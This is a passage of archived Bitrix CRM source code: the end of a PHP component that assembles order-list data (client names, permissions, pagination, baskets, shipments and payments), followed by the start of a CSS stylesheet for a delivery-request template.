$arOrder['~CONTACT_SECOND_NAME'] : '' ) ); $arOrder['CONTACT_FORMATTED_NAME'] = htmlspecialcharsbx($arOrder['~CONTACT_FORMATTED_NAME']); $arOrder['~CONTACT_FULL_NAME'] = $contactID <= 0 ? '' : CCrmContact::GetFullName( array( 'HONORIFIC' => isset($arOrder['~CONTACT_HONORIFIC']) ? $arOrder['~CONTACT_HONORIFIC'] : '', 'NAME' => isset($arOrder['~CONTACT_NAME']) ? $arOrder['~CONTACT_NAME'] : '', 'LAST_NAME' => isset($arOrder['~CONTACT_LAST_NAME']) ? $arOrder['~CONTACT_LAST_NAME'] : '', 'SECOND_NAME' => isset($arOrder['~CONTACT_SECOND_NAME']) ? $arOrder['~CONTACT_SECOND_NAME'] : '' ) ); $arOrder['CONTACT_FULL_NAME'] = htmlspecialcharsbx($arOrder['~CONTACT_FULL_NAME']); $companyID = isset($arOrder['~COMPANY_ID']) ? intval($arOrder['~COMPANY_ID']) : 0; $arOrder['PATH_TO_COMPANY_SHOW'] = $companyID <= 0 ? '' : CComponentEngine::MakePathFromTemplate($this->arParams['PATH_TO_COMPANY_SHOW'], array('company_id' => $companyID)); $arOrder['PATH_TO_RESPONSIBLE_PROFILE'] = CComponentEngine::MakePathFromTemplate( $this->arParams['PATH_TO_USER_PROFILE'], array('user_id' => $arOrder['RESPONSIBLE_ID']) ); $arOrder['PATH_TO_USER_PROFILE'] = CComponentEngine::MakePathFromTemplate( $this->arParams['PATH_TO_BUYER_PROFILE'], array('user_id' => $arOrder['USER_ID']) ); $arOrder['PATH_TO_USER_BP'] = CComponentEngine::MakePathFromTemplate($this->arParams['PATH_TO_USER_BP'], array('user_id' => $this->userId) ); $arOrder['USER_FORMATTED_NAME'] = CUser::FormatName( $this->arParams['NAME_TEMPLATE'], array( 'LOGIN' => $arOrder['USER_LOGIN'], 'NAME' => $arOrder['USER_NAME'], 'LAST_NAME' => $arOrder['USER_LAST_NAME'], 'SECOND_NAME' => $arOrder['USER_SECOND_NAME'] ), true ); if ($arOrder['CREATED_BY'] > 0) { $arOrder['PATH_TO_USER_CREATOR'] = CComponentEngine::MakePathFromTemplate( $this->arParams['PATH_TO_BUYER_PROFILE'], array('user_id' => $arOrder['CREATED_BY']) ); $arOrder['CREATED_BY_FORMATTED_NAME'] = CUser::FormatName( $this->arParams['NAME_TEMPLATE'], array( 'LOGIN' => $arOrder['CREATED_BY_LOGIN'], 'NAME' => $arOrder['CREATED_BY_NAME'], 'LAST_NAME' => $arOrder['CREATED_BY_LAST_NAME'], 'SECOND_NAME' => $arOrder['CREATED_BY_SECOND_NAME'] ), true ); } if ($arOrder['EMP_PAYED_ID'] > 0) { $arOrder['PATH_TO_EMP_PAYED_ID'] = CComponentEngine::MakePathFromTemplate( $this->arParams['PATH_TO_BUYER_PROFILE'], array('user_id' => $arOrder['EMP_PAYED_ID']) ); $arOrder['EMP_PAYED_ID_FORMATTED_NAME'] = CUser::FormatName( $this->arParams['NAME_TEMPLATE'], array( 'LOGIN' => $arOrder['EMP_PAYED_ID_LOGIN'], 'NAME' => $arOrder['EMP_PAYED_ID_NAME'], 'LAST_NAME' => $arOrder['EMP_PAYED_ID_LAST_NAME'], 'SECOND_NAME' => $arOrder['EMP_PAYED_ID_SECOND_NAME'] ), true ); } if ($arOrder['EMP_CANCELED_ID'] > 0) { $arOrder['PATH_TO_EMP_CANCELED_ID'] = CComponentEngine::MakePathFromTemplate( $this->arParams['PATH_TO_BUYER_PROFILE'], array('user_id' => $arOrder['EMP_CANCELED_ID']) ); $arOrder['EMP_CANCELED_ID_FORMATTED_NAME'] = CUser::FormatName( $this->arParams['NAME_TEMPLATE'], array( 'LOGIN' => $arOrder['EMP_CANCELED_ID_LOGIN'], 'NAME' => $arOrder['EMP_CANCELED_ID_NAME'], 'LAST_NAME' => $arOrder['EMP_CANCELED_ID_LAST_NAME'], 'SECOND_NAME' => $arOrder['EMP_CANCELED_ID_SECOND_NAME'] ), true ); } if ($arOrder['EMP_STATUS_ID'] > 0) { $arOrder['PATH_TO_EMP_STATUS_ID'] = CComponentEngine::MakePathFromTemplate( $this->arParams['PATH_TO_BUYER_PROFILE'], array('user_id' => $arOrder['EMP_STATUS_ID']) ); $arOrder['EMP_STATUS_ID_FORMATTED_NAME'] = CUser::FormatName( $this->arParams['NAME_TEMPLATE'], array( 'LOGIN' => $arOrder['EMP_STATUS_ID_LOGIN'], 'NAME' => $arOrder['EMP_STATUS_ID_NAME'], 'LAST_NAME' => $arOrder['EMP_STATUS_ID_LAST_NAME'], 'SECOND_NAME' => $arOrder['EMP_STATUS_ID_SECOND_NAME'] ), true ); } if ($arOrder['EMP_ALLOW_DELIVERY_ID'] > 0) { $arOrder['PATH_TO_EMP_ALLOW_DELIVERY_ID'] = CComponentEngine::MakePathFromTemplate( $this->arParams['PATH_TO_BUYER_PROFILE'], array('user_id' => $arOrder['EMP_ALLOW_DELIVERY_ID']) ); $arOrder['EMP_ALLOW_DELIVERY_ID_FORMATTED_NAME'] = CUser::FormatName( $this->arParams['NAME_TEMPLATE'], array( 'LOGIN' => $arOrder['EMP_ALLOW_DELIVERY_ID_LOGIN'], 'NAME' => $arOrder['EMP_ALLOW_DELIVERY_ID_NAME'], 'LAST_NAME' => $arOrder['EMP_ALLOW_DELIVERY_ID_LAST_NAME'], 'SECOND_NAME' => $arOrder['EMP_ALLOW_DELIVERY_ID_SECOND_NAME'] ), true ); } if ($arOrder['EMP_DEDUCTED_ID'] > 0) { $arOrder['PATH_TO_EMP_DEDUCTED_ID'] = CComponentEngine::MakePathFromTemplate( $this->arParams['PATH_TO_BUYER_PROFILE'], array('user_id' => $arOrder['EMP_DEDUCTED_ID']) ); $arOrder['EMP_DEDUCTED_ID_FORMATTED_NAME'] = CUser::FormatName( $this->arParams['NAME_TEMPLATE'], array( 'LOGIN' => $arOrder['EMP_DEDUCTED_ID_LOGIN'], 'NAME' => $arOrder['EMP_DEDUCTED_ID_NAME'], 'LAST_NAME' => $arOrder['EMP_DEDUCTED_ID_LAST_NAME'], 'SECOND_NAME' => $arOrder['EMP_DEDUCTED_ID_SECOND_NAME'] ), true ); } $arOrder['STATUS_ID'] = isset($arOrder['STATUS_ID']) ? $arOrder['STATUS_ID'] : ''; $arOrder['ORDER_STAGE_NAME'] = $arOrder['STATUS_ID']; $arOrder['PERSON_TYPE_ID'] = htmlspecialcharsbx($personTypes[$arOrder['PERSON_TYPE_ID']]['NAME']); //region Client info if ($contactID > 0) { $arOrder['CONTACT_INFO'] = array( 'ENTITY_TYPE_ID' => CCrmOwnerType::Contact, 'ENTITY_ID' => $contactID ); if (!CCrmContact::CheckReadPermission($contactID, $this->userPermissions)) { $arOrder['CONTACT_INFO']['IS_HIDDEN'] = true; } else { $arOrder['CONTACT_INFO'] = array_merge( $arOrder['CONTACT_INFO'], array( 'ORDER_TOPIC' => isset($arOrder['~CONTACT_FORMATTED_NAME']) ? $arOrder['~CONTACT_FORMATTED_NAME'] : ('[' . $contactID . ']'), 'PREFIX' => "ORDER_{$arOrder['~ID']}", 'DESCRIPTION' => isset($arOrder['~COMPANY_TITLE']) ? $arOrder['~COMPANY_TITLE'] : '' ) ); } } if ($companyID > 0) { $arOrder['COMPANY_INFO'] = array( 'ENTITY_TYPE_ID' => CCrmOwnerType::Company, 'ENTITY_ID' => $companyID ); if (!CCrmCompany::CheckReadPermission($companyID, $this->userPermissions)) { $arOrder['COMPANY_INFO']['IS_HIDDEN'] = true; } else { $arOrder['COMPANY_INFO'] = array_merge( $arOrder['COMPANY_INFO'], array( 'ORDER_TOPIC' => isset($arOrder['~COMPANY_TITLE']) ? $arOrder['~COMPANY_TITLE'] : ('[' . $companyID . ']'), 'PREFIX' => "ORDER_{$arOrder['~ID']}" ) ); } } //endregion if (isset($arOrder['ACTIVITY_TIME'])) { $time = MakeTimeStamp($arOrder['ACTIVITY_TIME']); $arOrder['ACTIVITY_EXPIRED'] = $time <= $now; $arOrder['ACTIVITY_IS_CURRENT_DAY'] = $arOrder['ACTIVITY_EXPIRED'] || CCrmActivity::IsCurrentDay($time); } if (isset($arOrder['TRADING_PLATFORM_CODE'])) { $arOrder['SOURCE'] = htmlspecialcharsbx( $this->getTradingPlatformName( $arOrder['TRADING_PLATFORM_CODE'], $arOrder['TRADING_PLATFORM_CLASS'] )); } $originatorID = isset($arOrder['~ORIGINATOR_ID']) ? $arOrder['~ORIGINATOR_ID'] : ''; if ($originatorID !== '') { $arOrder['~ORIGINATOR_NAME'] = isset($this->arResult['EXTERNAL_SALES'][$originatorID]) ? $this->arResult['EXTERNAL_SALES'][$originatorID] : ''; $arOrder['ORIGINATOR_NAME'] = htmlspecialcharsbx($arOrder['~ORIGINATOR_NAME']); } if ($this->arResult['ENABLE_TASK']) { $arOrder['PATH_TO_TASK_EDIT'] = CHTTP::urlAddParams( CComponentEngine::MakePathFromTemplate(COption::GetOptionString('tasks', 'paths_task_user_edit', ''), array('task_id' => 0, 'user_id' => $this->userId) ), array( 'UF_CRM_TASK' => "O_{$entityID}", 'ORDER_TOPIC' => urlencode(Loc::getMessage('CRM_TASK_TITLE_PREFIX') . ' '), 'TAGS' => urlencode(Loc::getMessage('CRM_TASK_TAG')), 'back_url' => urlencode($this->arParams['PATH_TO_ORDER_LIST']) ) ); } if (IsModuleInstalled('sale')) { $arOrder['PATH_TO_QUOTE_ADD'] = CHTTP::urlAddParams( CComponentEngine::makePathFromTemplate( $this->arParams['PATH_TO_QUOTE_EDIT'], array('quote_id' => 0) ), array('order_id' => $entityID) ); $arOrder['PATH_TO_INVOICE_ADD'] = CHTTP::urlAddParams( CComponentEngine::makePathFromTemplate( $this->arParams['PATH_TO_INVOICE_EDIT'], array('invoice_id' => 0) ), array('order' => $entityID) ); } $arOrder['RESPONSIBLE_BY'] = CUser::FormatName( $this->arParams['NAME_TEMPLATE'], array( 'LOGIN' => isset($arOrder['RESPONSIBLE_BY_LOGIN']) ? $arOrder['RESPONSIBLE_BY_LOGIN'] : '', 'NAME' => isset($arOrder['RESPONSIBLE_BY_NAME']) ? $arOrder['RESPONSIBLE_BY_NAME'] : '', 'LAST_NAME' => isset($arOrder['RESPONSIBLE_BY_LAST_NAME']) ? $arOrder['RESPONSIBLE_BY_LAST_NAME'] : '', 'SECOND_NAME' => isset($arOrder['RESPONSIBLE_BY_SECOND_NAME']) ? $arOrder['RESPONSIBLE_BY_SECOND_NAME'] : '' ), true ); $arOrder['ORDER_SUMMARY'] = Loc::getMessage('CRM_ORDER_SUMMARY', array('#ORDER_NUMBER#' => $arOrder['ACCOUNT_NUMBER'])); $arOrder['SUM'] = CCrmCurrency::MoneyToString($arOrder['PRICE'], $currencyID); $arOrder['SUM_PAID'] = CCrmCurrency::MoneyToString($arOrder['SUM_PAID'], $currencyID); $arOrder['DISCOUNT_VALUE'] = CCrmCurrency::MoneyToString($arOrder['DISCOUNT_VALUE'], $currencyID); $arOrder['PRICE_DELIVERY'] = CCrmCurrency::MoneyToString($arOrder['PRICE_DELIVERY'], $currencyID); $arOrder['TAX_VALUE'] = CCrmCurrency::MoneyToString($arOrder['TAX_VALUE'], $currencyID); // todo: order foreach ($arOrder as $name => $field) { if ($name[0] !== '~') { $arOrder['~' . $name] = $field; } } $arOrder['DELETE'] = $arOrder['EDIT'] = !$arOrder['INTERNAL']; if (!(is_object($USER) && $USER->IsAdmin())) { $arOrder['EDIT'] = \Bitrix\Crm\Order\Permissions\Order::checkUpdatePermission( $entityID, $this->userPermissions, array('ENTITY_ATTRS' => $entityAttrs) ); $arOrder['DELETE'] = \Bitrix\Crm\Order\Permissions\Order::checkDeletePermission( $entityID, $this->userPermissions, array('ENTITY_ATTRS' => $entityAttrs) ); } if (!empty($basketData[$entityID])) { $arOrder['BASKET'] = $basketData[$entityID]; } if (!empty($shipmentData[$entityID])) { $arOrder['SHIPMENT'] = $shipmentData[$entityID]; } if (!empty($paymentData[$entityID])) { $arOrder['PAYMENT'] = $paymentData[$entityID]; } if (!empty($clientData[$entityID][\CCrmOwnerType::Company])) { $arOrder['COMPANY'] = $clientData[$entityID][\CCrmOwnerType::Company]; } if (!empty($clientData[$entityID][\CCrmOwnerType::Contact])) { $arOrder['CONTACT'] = $clientData[$entityID][\CCrmOwnerType::Contact]; } if (isset($arOrder['CONTACT'])) { $arOrder['CLIENT'] = $arOrder['CONTACT']; } elseif (isset($arOrder['COMPANY'])) { $arOrder['CLIENT'] = $arOrder['COMPANY']; } if (in_array('PROPS', $visibleColumns, true)) { $arOrder['PROPS'] = $this->loadPropsData($entityID); } $this->arResult['ORDER'][$entityID] = $arOrder; $userActivityID = isset($arOrder['USER_ACTIVITY_ID']) ? intval($arOrder['USER_ACTIVITY_ID']) : 0; $commonActivityID = isset($arOrder['C_ACTIVITY_ID']) ? intval($arOrder['C_ACTIVITY_ID']) : 0; if ($userActivityID <= 0 && $commonActivityID <= 0) { $aclivitylessItems[] = $entityID; } } unset($arOrder); if (!empty($aclivitylessItems)) { $waitingInfos = \Bitrix\Crm\Pseudoactivity\WaitEntry::getRecentInfos(CCrmOwnerType::Order, $aclivitylessItems); foreach ($waitingInfos as $waitingInfo) { $entityID = (int)$waitingInfo['OWNER_ID']; if (isset($this->arResult['ORDER'][$entityID])) { $this->arResult['ORDER'][$entityID]['WAITING_TITLE'] = $waitingInfo['TITLE']; } } } $CCrmUserType->ListAddEnumFieldsValue( $this->arResult, $this->arResult['ORDER'], $this->arResult['ORDER_UF'], '<br />', false, array( 'FILE_URL_TEMPLATE' => '/bitrix/components/bitrix/crm.order.details/show_file.php?ownerId=#owner_id#&fieldName=#field_name#&fileId=#file_id#' ) ); $this->arResult['ENABLE_TOOLBAR'] = isset($this->arParams['ENABLE_TOOLBAR']) ? $this->arParams['ENABLE_TOOLBAR'] : false; if ($this->arResult['ENABLE_TOOLBAR']) { $this->arResult['PATH_TO_ORDER_ADD'] = CComponentEngine::MakePathFromTemplate( $this->arParams['PATH_TO_ORDER_EDIT'], array('order_id' => 0) ); $addParams = array(); if ($this->isInternal && isset($this->arParams['INTERNAL_CONTEXT']) && is_array($this->arParams['INTERNAL_CONTEXT'])) { $internalContext = $this->arParams['INTERNAL_CONTEXT']; if (isset($internalContext['CONTACT_ID'])) { $addParams['contact_id'] = $internalContext['CONTACT_ID']; } if (isset($internalContext['COMPANY_ID'])) { $addParams['company_id'] = $internalContext['COMPANY_ID']; } } if (!empty($addParams)) { $this->arResult['PATH_TO_ORDER_ADD'] = CHTTP::urlAddParams( $this->arResult['PATH_TO_ORDER_ADD'], $addParams ); } } $this->arResult['NEED_FOR_REBUILD_ORDER_ATTRS'] = $this->arResult['NEED_FOR_REBUILD_ORDER_SEMANTICS'] = $this->arResult['NEED_FOR_REBUILD_SEARCH_CONTENT'] = $this->arResult['NEED_FOR_BUILD_TIMELINE'] = false; if (!$this->isInternal) { if (COption::GetOptionString('crm', '~CRM_REBUILD_ORDER_SEARCH_CONTENT', 'N') === 'Y') { $this->arResult['NEED_FOR_REBUILD_SEARCH_CONTENT'] = true; } $this->arResult['NEED_FOR_REFRESH_ACCOUNTING'] = \Bitrix\Crm\Agent\Accounting\OrderAccountSyncAgent::getInstance()->isEnabled(); /** @var OrderSearchContentRebuildAgent $agent */ $agent = OrderSearchContentRebuildAgent::getInstance(); $isAgentEnabled = $agent->isEnabled(); if ($isAgentEnabled) { if (!$agent->isActive()) { $agent->enable(false); $isAgentEnabled = false; } } $arResult['NEED_FOR_REBUILD_SEARCH_CONTENT'] = $isAgentEnabled; if (CCrmPerms::IsAdmin()) { if (COption::GetOptionString('crm', '~CRM_REBUILD_ORDER_ATTR', 'N') === 'Y') { $this->arResult['PATH_TO_PRM_LIST'] = CComponentEngine::MakePathFromTemplate(COption::GetOptionString('crm', 'path_to_perm_list')); $this->arResult['NEED_FOR_REBUILD_ORDER_ATTRS'] = true; } if (COption::GetOptionString('crm', '~CRM_REBUILD_ORDER_SEMANTICS', 'N') === 'Y') { $this->arResult['NEED_FOR_REBUILD_ORDER_SEMANTICS'] = true; } } } if (!empty($this->errors)) { $this->showErrors(); } if ($this->isExportMode()) { $this->arResult = array_merge($this->arResult, $this->exportParams); $this->IncludeComponentTemplate($this->exportParams['TYPE']); return array( 'PROCESSED_ITEMS' => count($this->arResult['ORDER']), 'TOTAL_ITEMS' => $this->arResult['STEXPORT_TOTAL_ITEMS'] ); } $this->IncludeComponentTemplate(); include_once($_SERVER['DOCUMENT_ROOT'] . '/bitrix/components/bitrix/crm.order/include/nav.php'); return $this->arResult['ROWS_COUNT']; } /** * @return string */ protected function combineGridIdentifier() { if (isset($this->arParams['GRID_ID']) && is_string($this->arParams['GRID_ID']) && !empty($this->arParams['GRID_ID'])) { return $this->arParams['GRID_ID']; } return 'CRM_ORDER_LIST_V12' . ($this->isInternal && !empty($this->arParams['GRID_ID_SUFFIX']) ? '_' . $this->arParams['GRID_ID_SUFFIX'] : ''); } /** * @param array $arNavParams * @param array $glFilter * @param array $arSelect * @param array $runtime * * @return Main\UI\PageNavigation * @throws Main\ArgumentException * @throws Main\ObjectPropertyException */ private function getNavigation(array $arNavParams, array $glFilter, array $arSelect, array $runtime) { $pageNum = 0; if ($this->isExportMode() && (int)$this->arParams['STEXPORT_PAGE_SIZE'] > 0) { $pageSize = (int)$this->arParams['STEXPORT_PAGE_SIZE']; } else { $pageSize = (int)(isset($arNavParams['nPageSize']) ? $arNavParams['nPageSize'] : $this->arParams['ORDER_COUNT']); } $res = Bitrix\Crm\Order\Order::getList(array( 'filter' => $glFilter, 'select' => $arSelect, 'count_total' => true, 'runtime' => $runtime) ); $total = $res->getCount(); if (isset($_REQUEST['apply_filter']) && $_REQUEST['apply_filter'] === 'Y') { $pageNum = 1; } elseif ($pageSize > 0 && (isset($this->arParams['PAGE_NUMBER']) || isset($_REQUEST['page']))) { $pageNum = (int)$this->arParams['PAGE_NUMBER'] > 0 ? (int)$this->arParams['PAGE_NUMBER'] : (int)$_REQUEST['page']; if ($pageNum < 0) { //Backward mode $offset = -($pageNum + 1); $pageNum = (int)(ceil($total / $pageSize)) - $offset; if ($pageNum <= 0) { $pageNum = 1; } } } if ($pageNum > 0) { if (!isset($_SESSION['CRM_PAGINATION_DATA'])) { $_SESSION['CRM_PAGINATION_DATA'] = array(); } $_SESSION['CRM_PAGINATION_DATA'][$this->arResult['GRID_ID']] = array('PAGE_NUM' => $pageNum, 'PAGE_SIZE' => $pageSize); } else { if (!$this->isInternal && !(isset($_REQUEST['clear_nav']) && $_REQUEST['clear_nav'] === 'Y') && isset($_SESSION['CRM_PAGINATION_DATA']) && isset($_SESSION['CRM_PAGINATION_DATA'][$this->arResult['GRID_ID']]) ) { $paginationData = $_SESSION['CRM_PAGINATION_DATA'][$this->arResult['GRID_ID']]; if (isset($paginationData['PAGE_NUM']) && isset($paginationData['PAGE_SIZE']) && $paginationData['PAGE_SIZE'] == $pageSize ) { $pageNum = (int)$paginationData['PAGE_NUM']; } } if ($pageNum <= 0) { $pageNum = 1; } } //endregion $nav = new Main\UI\PageNavigation("crm-order-list"); $nav->allowAllRecords(true) ->setPageSize($pageSize) ->setCurrentPage($pageNum) ->setRecordCount($total) ->initFromUri(); return $nav; } protected function loadClientData(array $orderIds, bool $needContact, bool $needCompany): array { if (empty($orderIds) || (!$needCompany && !$needContact)) { return []; } $result = []; $runtime = []; $select = ['*']; if ($needCompany) { $runtime[] = new Main\Entity\ReferenceField( 'COMPANY', \Bitrix\Crm\CompanyTable::class, [ '=this.ENTITY_ID' => 'ref.ID', '=this.ENTITY_TYPE_ID' => new Main\DB\SqlExpression('?i', \CCrmOwnerType::Company) ], [ 'join_type' => 'LEFT' ] ); $select['COMPANY_TITLE'] = 'COMPANY.TITLE'; } if ($needContact) { $runtime[] = new Main\Entity\ReferenceField( 'CONTACT', \Bitrix\Crm\ContactTable::class, [ '=this.ENTITY_ID' => 'ref.ID', '=this.ENTITY_TYPE_ID' => new Main\DB\SqlExpression('?i', \CCrmOwnerType::Contact) ], [ 'join_type' => 'LEFT' ] ); $select['CONTACT_FULL_NAME'] = 'CONTACT.FULL_NAME'; $select['CONTACT_COMPANY_TITLE'] = 'CONTACT.COMPANY.TITLE'; } $res = Order\ContactCompanyCollection::getList([ 'filter' => [ '=ORDER_ID' => $orderIds, '=IS_PRIMARY' => 'Y', ], 'runtime' => $runtime, 'select' => $select ]); while ($row = $res->fetch()) { $item = [ 'ENTITY_TYPE_ID' => $row['ENTITY_TYPE_ID'], 'ENTITY_ID' => $row['ENTITY_ID'], 'PREFIX' => 'ORDER_' . $row['ORDER_ID'], ]; if ((int)$row['ENTITY_TYPE_ID'] === \CCrmOwnerType::Contact) { $item['TITLE'] = $row['CONTACT_FULL_NAME']; $item['DESCRIPTION'] = $row['CONTACT_COMPANY_TITLE']; } elseif ((int)$row['ENTITY_TYPE_ID'] === \CCrmOwnerType::Company) { $item['TITLE'] = $row['COMPANY_TITLE']; } else { continue; } if (!isset($result[$row['ORDER_ID']])) { $result[$row['ORDER_ID']] = []; } $result[$row['ORDER_ID']][$row['ENTITY_TYPE_ID']] = $item; } return $result; } protected function loadPaymentData(array $orderIds): array { if (empty($orderIds)) { return []; } $result = []; $urlTemplate = '/shop/orders/payment/details/#PAYMENT_ID#/'; $res = Order\Payment::getList(array( 'order' => array('ID' => 'ASC'), 'filter' => array('ORDER_ID' => $orderIds) )); while ($item = $res->fetch()) { $item['URL'] = str_replace( '#PAYMENT_ID#', $item['ID'], $urlTemplate ); $item['SUM'] = SaleFormatCurrency($item["SUM"], $item["CURRENCY"]); $result[$item['ORDER_ID']][] = $item; } return $result; } protected function loadShipmentData(array $orderIds): array { if (empty($orderIds)) { return []; } $result = []; $urlTemplate = '/shop/orders/shipment/details/#SHIPMENT_ID#/?order_id=#ORDER_ID#'; $dbItemsList = Order\Shipment::getList([ 'order' => ['ID' => 'ASC'], 'filter' => ['ORDER_ID' => $orderIds, '!=SYSTEM' => 'Y'], 'select' => [ '*', 'ORDER_SITE_ID' => 'ORDER.LID' ] ]); while ($item = $dbItemsList->fetch()) { $item['DELIVERY_NAME'] = htmlspecialcharsbx($item['DELIVERY_NAME']); $item['STATUS'] = $this->getShipmentStatus($item['STATUS_ID'], LANGUAGE_ID); $item['PRICE_DELIVERY'] = SaleFormatCurrency($item["PRICE_DELIVERY"], $item["CURRENCY"]); $item['URL'] = str_replace( ['#SHIPMENT_ID#', '#ORDER_ID#'], [$item['ID'], $item['ORDER_ID']], $urlTemplate ); $item['WEIGHT'] = $this->getReadableWeight((float)$item['WEIGHT'], 1, $item['ORDER_SITE_ID']); $result[$item['ORDER_ID']][] = $item; } return $result; } protected function getShipmentStatus(string $statusId, string $lang) { if ($statusId == '') { return ''; } static $data = null; if ($data === null) { $data = $this->loadShipmentStatusData($lang); } return isset($data[$statusId]) ? $data[$statusId] : ''; } protected function loadShipmentStatusData(string $lang) { if ($lang == '') { return []; } $result = []; $dbRes = Order\DeliveryStatus::getList([ 'select' => ['ID', 'NAME' => 'Bitrix\Sale\Internals\StatusLangTable:STATUS.NAME'], 'filter' => [ '=Bitrix\Sale\Internals\StatusLangTable:STATUS.LID' => $lang ], ]); while ($shipmentStatus = $dbRes->fetch()) { $result[$shipmentStatus["ID"]] = $shipmentStatus["NAME"] . " [" . $shipmentStatus["ID"] . "]"; } return $result; } /** * @param int[] $orderIds * @return array * @throws Main\ArgumentException * @throws Main\ObjectPropertyException * @throws Main\SystemException * Notice: we suggest that iblock module was included with catalog module */ protected function loadBasketData(array $orderIds): array { if (empty($orderIds)) { return []; } $result = []; $basketItems = []; $dbItemsList = Order\Basket::getList(array( 'order' => ['ID' => 'ASC'], 'filter' => ['=ORDER_ID' => $orderIds], 'select' => [ '*', 'ORDER_SITE_ID' => 'ORDER.LID', 'PRODUCT__ID' => 'PRODUCT.ID', 'IBLOCK_ID' => 'PRODUCT.IBLOCK.IBLOCK_ID', 'IBLOCK_SECTION_ID' => 'PRODUCT.IBLOCK.IBLOCK_SECTION_ID' ] )); while ($item = $dbItemsList->fetch()) { $item['NAME'] = htmlspecialcharsbx($item['NAME']); $item['EDIT_PAGE_URL'] = ''; if ((int)$item['IBLOCK_ID'] > 0 && (int)$item['PRODUCT__ID'] > 0) { $this->urlBuilder->setIblockId((int)$item['IBLOCK_ID']); $item['EDIT_PAGE_URL'] = $this->urlBuilder->getElementDetailUrl( (int)$item['PRODUCT__ID'], [ 'find_section_section' => (int)$item['IBLOCK_SECTION_ID'] > 0 ? (int)$item['IBLOCK_SECTION_ID'] : 0, 'WF' => 'Y' ] ); } $item['PRICE'] = SaleFormatCurrency($item['PRICE'], $item['CURRENCY']); $measure = isset($arItem["MEASURE_NAME"]) ? $item["MEASURE_NAME"] : Loc::getMessage("CRM_ORDER_LIST_DEFAULT_MEASURE"); $item['WEIGHT'] = $this->getReadableWeight((float)$item['WEIGHT'], (float)$item['QUANTITY'], $item['ORDER_SITE_ID']); $item["QUANTITY"] = htmlspecialcharsbx(Order\BasketItem::formatQuantity($item["QUANTITY"])) . " " . htmlspecialcharsbx($measure); $item["PROPS"] = []; $basketItems[$item['ID']] = $item; } if (!empty($basketItems)) { $basketItemsIds = array_keys($basketItems); $propertyItemRaw = Order\BasketPropertyItem::getList([ 'filter' => [ '=BASKET_ID' => $basketItemsIds, "!CODE" => ["CATALOG.XML_ID", "PRODUCT.XML_ID"] ] ]); while ($propertyItem = $propertyItemRaw->fetch()) { $basketItems[$propertyItem['BASKET_ID']]['PROPS'][] = $propertyItem; } foreach ($basketItems as $item) { if (!is_array($result[$item['ORDER_ID']])) { $result[$item['ORDER_ID']] = []; } $result[$item['ORDER_ID']][] = $item; } } return $result; } protected function getReadableWeight(float $weight, float $quantity, string $orderSiteId) { if ($weight <= 0) { return ''; } $siteData = $this->getSiteData($orderSiteId); $result = $weight; if ((float)$siteData['WEIGHT_KOEF'] > 0) { $result = (float)($weight / $siteData['WEIGHT_KOEF']); } if ((float)($quantity) > 0) { $result *= $quantity; } $weightUnit = isset($siteData['WEIGHT_UNIT']) ? ' ' . $siteData['WEIGHT_UNIT'] : ''; return htmlspecialcharsbx(roundEx($result, SALE_WEIGHT_PRECISION) . $weightUnit); } protected function getSiteData(string $siteId) { static $data = null; if ($data === null) { $data = $this->loadSiteData(); } return $data[$siteId] ? $data[$siteId] : []; } protected function loadSiteData() { $result = []; $dbRes = Main\SiteTable::getList(); while ($row = $dbRes->fetch()) { $serverName = $row['SERVER_NAME']; if ($serverName == '') { if (defined('SITE_SERVER_NAME') && SITE_SERVER_NAME <> '') $serverName = SITE_SERVER_NAME; else $serverName = \Bitrix\Main\Config\Option::get('main', 'server_name', ''); } $result[$row['LID']] = [ 'SERVER_NAME' => $serverName, 'WEIGHT_UNIT' => htmlspecialcharsbx(\Bitrix\Main\Config\Option::get('sale', 'weight_unit', '', $row['LID'])), 'WEIGHT_KOEF' => htmlspecialcharsbx(\Bitrix\Main\Config\Option::get('sale', 'weight_koef', 1, $row['LID'])) ]; } return $result; } //todo: for all by one query protected function loadPropsData(int $orderId) { if ($orderId <= 0) { return []; } if (!($propOrder = $this->loadOrder($orderId))) { return []; } if (!($collection = $propOrder->getPropertyCollection())) { return []; } $result = []; foreach ($collection->getGroups() as $group) { $items = []; /** @var Order\PropertyValue $property */ foreach ($collection->getPropertiesByGroupId($group['ID']) as $property) { if (!($propertyValue = $property->getValue())) { continue; } $items[] = [ 'NAME' => htmlspecialcharsbx($property->getName()), 'VALUE' => $property->getViewHtml() ]; } if (!empty($items)) { $result[] = [ 'NAME' => htmlspecialcharsbx($group['NAME']), 'ITEMS' => $items ]; } } return $result; } protected function getOrder(int $orderId) { $orders = []; if (!isset($orders[$orderId])) { $orders[$orderId] = $this->loadOrder($orderId); } return $orders[$orderId]; } protected function loadOrder(int $orderId) { return Order\Order::load($orderId); } } components/dellindev/crm.dellin.request/templates/.default/style.css000064400000052630151760651320022003 0ustar00.crm-doc { display: block; overflow: hidden; font-family: "Helvetica Neue",Helvetica,Arial,sans-serif; color: #49515a; } .crm-doc-head { clear: both; display: block; overflow: hidden; padding: 0 0 30px 50px; } .crm-doc-title { clear: both; display: block; width: 100%; font-size: 17px; line-height: 5px; font-weight: bold; color: #525c68; margin: 0 0 15px 0; color: #0069c4; text-decoration: none; } .crm-doc-title:before { content: ''; display: inline-block; vertical-align: middle; width: 40px; height: 40px; margin: 0 5px 0 -45px; background: url('/bitrix/js/crm/images/crm-control-panel-sprite-25.png?v2'); background-position: center -3868px; } .crm-doc-info { clear: both; display: block; } .crm-doc-info-progress { display: inline-block; max-width: 180px; } .crm-doc-info-progressbar { display: block; overflow: hidden; height: 6px; background: #eef2f5; margin: 3px 0 5px 0; -webkit-border-radius: 10px; -moz-border-radius: 10px; border-radius: 10px; } .crm-doc-info-progressbar-indikator { display: block; overflow: hidden; background: #b0d539; height: 6px; -webkit-border-radius: 10px; -moz-border-radius: 10px; border-radius: 10px; } .crm-doc-info-text { font-size: 11px; color: #8e9ca3; line-height: normal; margin: 0 0 10px 0; } .crm-doc-title-gray {color: #49515a} .crm-doc-bold {font-weight: bold} .crm-doc-gray {color: #49515a} .crm-doc-info-responsible { display: inline-block; vertical-align: top; padding: 0 0 0 35px; } .crm-doc-info-param { clear: both; display: block; margin: 10px 0 5px 0; } .crm-doc-table { font-size:12px; color: #80868e; line-height: 20px; border-spacing: 0; } .crm-doc-table td:first-child { color: #8e9ca3; padding: 0 10px 0 0; } .crm-doc-cart { clear: both; display: flex; overflow: hidden; background: #fff; border: 1px solid #e3e3e3; padding: 17px 145px 17px 20px; position: relative; font-size: 12px; color: #80868e; margin: 0 0 10px 0; flex-flow: wrap; } .crm-tree-active { background: #f5f8f9; } .crm-doc-cart:before { content: ''; position: absolute; left: 0; 